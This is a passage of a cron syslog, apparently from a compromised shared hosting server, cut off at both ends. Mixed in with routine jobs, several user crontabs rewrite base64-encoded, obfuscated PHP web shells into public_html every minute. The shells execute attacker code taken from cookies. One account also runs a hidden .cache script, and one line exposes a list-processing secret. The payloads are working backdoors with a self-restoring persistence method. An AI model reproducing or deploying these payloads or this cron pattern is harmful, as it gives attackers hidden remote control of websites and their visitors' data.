VskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:15:01 medusa CROND[20330]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 23:16:01 medusa CROND[23427]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:16:01 medusa CROND[23623]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 23:16:01 medusa CROND[23624]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 23:16:01 medusa CROND[23625]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:16:01 medusa CROND[23627]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:16:01 medusa CROND[23628]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:16:01 medusa CROND[23631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:16:01 medusa CROND[23633]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:16:01 medusa CROND[23635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:16:01 medusa CROND[23636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:16:01 medusa CROND[23637]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:16:01 medusa CROND[23638]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 23:16:01 medusa CROND[23626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:16:01 medusa CROND[23652]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:17:01 medusa CROND[29641]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 23:17:01 medusa CROND[29881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 23:17:01 medusa CROND[29885]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 23:17:01 medusa CROND[29893]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:17:01 medusa CROND[29895]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 23:17:01 medusa CROND[29898]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 23:17:01 medusa CROND[29901]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:17:01 medusa CROND[29902]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:17:01 medusa CROND[29903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:17:01 medusa CROND[29905]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:17:01 medusa CROND[29907]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:17:01 medusa CROND[29909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 23:17:01 medusa CROND[29910]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:18:01 medusa CROND[4934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 23:18:01 medusa CROND[5037]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 23:18:01 medusa CROND[5038]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 23:18:01 medusa CROND[5039]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 23:18:01 medusa CROND[5041]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldK